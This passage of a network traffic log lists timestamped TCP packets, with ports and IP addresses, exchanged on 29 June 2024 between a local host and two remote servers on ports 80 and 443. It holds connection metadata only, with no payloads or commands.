Jun 29, 2024 08:05:12.344715118 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.344716072 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.344763994 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.345412016 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.345470905 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.345479012 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.345529079 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.386864901 CEST	49733	443	192.168.2.4	20.12.23.50
Jun 29, 2024 08:05:12.432498932 CEST	443	49733	20.12.23.50	192.168.2.4
Jun 29, 2024 08:05:12.593897104 CEST	443	49733	20.12.23.50	192.168.2.4
Jun 29, 2024 08:05:12.593925953 CEST	443	49733	20.12.23.50	192.168.2.4
Jun 29, 2024 08:05:12.593935966 CEST	443	49733	20.12.23.50	192.168.2.4
Jun 29, 2024 08:05:12.593946934 CEST	443	49733	20.12.23.50	192.168.2.4
Jun 29, 2024 08:05:12.593972921 CEST	443	49733	20.12.23.50	192.168.2.4
Jun 29, 2024 08:05:12.594013929 CEST	49733	443	192.168.2.4	20.12.23.50
Jun 29, 2024 08:05:12.594033957 CEST	443	49733	20.12.23.50	192.168.2.4
Jun 29, 2024 08:05:12.594064951 CEST	49733	443	192.168.2.4	20.12.23.50
Jun 29, 2024 08:05:12.594090939 CEST	49733	443	192.168.2.4	20.12.23.50
Jun 29, 2024 08:05:12.598045111 CEST	443	49733	20.12.23.50	192.168.2.4
Jun 29, 2024 08:05:12.598130941 CEST	49733	443	192.168.2.4	20.12.23.50
Jun 29, 2024 08:05:12.598139048 CEST	443	49733	20.12.23.50	192.168.2.4
Jun 29, 2024 08:05:12.598211050 CEST	443	49733	20.12.23.50	192.168.2.4
Jun 29, 2024 08:05:12.598262072 CEST	49733	443	192.168.2.4	20.12.23.50
Jun 29, 2024 08:05:12.633618116 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.633632898 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.633647919 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.633723021 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.633739948 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.633737087 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.633738041 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.633759975 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.633810997 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.633812904 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.633842945 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.633851051 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.633862972 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.633867979 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.633899927 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.633915901 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.633925915 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.633933067 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.633970976 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.634001970 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.634762049 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.634823084 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.634845018 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.634844065 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.634861946 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.634875059 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.634902000 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.634908915 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.634915113 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.634929895 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.634970903 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.635556936 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.635580063 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.635595083 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.635608912 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.635638952 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.635657072 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.635672092 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.635689020 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.635716915 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.635746956 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.636490107 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.636516094 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.636532068 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.636568069 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.636615992 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.636617899 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.636631012 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.636676073 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.636702061 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.637223005 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.637270927 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.637284040 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.637285948 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.637325048 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.637377024 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.637392998 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.637407064 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.637422085 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.637464046 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.638241053 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.638297081 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.638309002 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.638324022 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.638364077 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.638372898 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.638384104 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.638389111 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.638425112 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.638458967 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.638978004 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.639004946 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.639024973 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.639041901 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.639074087 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.639075994 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.639091969 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.639153004 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.639825106 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.639883995 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.639893055 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.639899015 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.639914989 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.639930010 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.639947891 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.639976978 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.640014887 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.640028000 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.640062094 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.640089989 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.640686989 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.640747070 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.640772104 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.640788078 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.640793085 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.640803099 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.640845060 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.640872002 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.641648054 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.641664028 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.641686916 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.641702890 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.641716957 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.641724110 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.641777039 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.642252922 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.642306089 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.642328024 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.642375946 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.928458929 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.928499937 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.928515911 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.928530931 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.928534985 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.928549051 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.928621054 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.928621054 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.928621054 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.928678989 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.928730965 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.928745985 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.928790092 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.928805113 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.928821087 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.928821087 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.928858995 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.928911924 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.929518938 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.929568052 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.929583073 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.929595947 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.929624081 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.929671049 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.929701090 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.929701090 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.929728031 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.929732084 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.929783106 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.930366039 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.930393934 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.930407047 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.930433035 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.930463076 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.930520058 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.930533886 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.930586100 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.931278944 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.931339025 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.931340933 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.931355000 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.931387901 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.931391954 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.931407928 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.931408882 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.931443930 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.931478977 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.932837009 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.932903051 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.932918072 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.932934046 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.932949066 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.932964087 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.932992935 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.933027983 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.933058023 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.933072090 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.933087111 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.933101892 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.933116913 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.933120966 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.933140039 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.933193922 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.933811903 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.933893919 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.933950901 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.933965921 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.934017897 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.934072018 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.934087038 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.934101105 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.934160948 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.934195042 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.934607029 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.934669971 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.934679985 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.934685946 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.934730053 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.934735060 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.934751034 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.934775114 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.934801102 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.935471058 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.935497999 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.935513020 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.935549021 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.935561895 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.935576916 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.935591936 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.935600042 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.935620070 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.935652971 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.936314106 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.936374903 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.936386108 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.936397076 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.936429024 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.936429977 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.936444998 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.936445951 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.936531067 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.937165976 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.937279940 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:12.937541962 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:12.937612057 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:13.224006891 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.224023104 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.224040031 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.224080086 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:13.224140882 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:13.224143028 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.224158049 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.224211931 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:13.224246979 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.224287033 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.224297047 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:13.224302053 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.224344969 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:13.224375010 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.224381924 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:13.224390030 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.224406004 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.224430084 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:13.224468946 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:13.225104094 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.225158930 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.225169897 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:13.225174904 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.225213051 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.225214958 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:13.225228071 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.225264072 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:13.225306034 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:13.226250887 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.226277113 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.226291895 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.226332903 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:13.226366043 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.226373911 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:13.226382017 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.226396084 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.226417065 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:13.226445913 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:13.226824999 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.226880074 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:13.226881027 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.226897001 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.226912022 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.226933002 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:13.226963043 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:13.226964951 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.227015972 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.227070093 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:13.227767944 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.227785110 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.227801085 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.227834940 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:13.227860928 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.227873087 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:13.227876902 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.227891922 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.227925062 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:13.227956057 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:13.228498936 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.228545904 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.228560925 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.228605986 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:13.228615046 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.228625059 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:13.228630066 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.228666067 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:13.228696108 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:13.229469061 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.229484081 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.229500055 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.229516029 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.229530096 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.229532003 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:13.229581118 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:13.230343103 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.230366945 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.230381966 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.230432034 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:13.230458975 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.230473995 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.230509043 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:13.230550051 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:13.231156111 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.231169939 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.231184006 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.231223106 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:13.231237888 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.231252909 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:13.231254101 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.231270075 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.231302023 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:13.231332064 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:13.231946945 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.231971979 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.231987000 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:13.232001066 CEST	49731	80	192.168.2.4	81.28.12.12
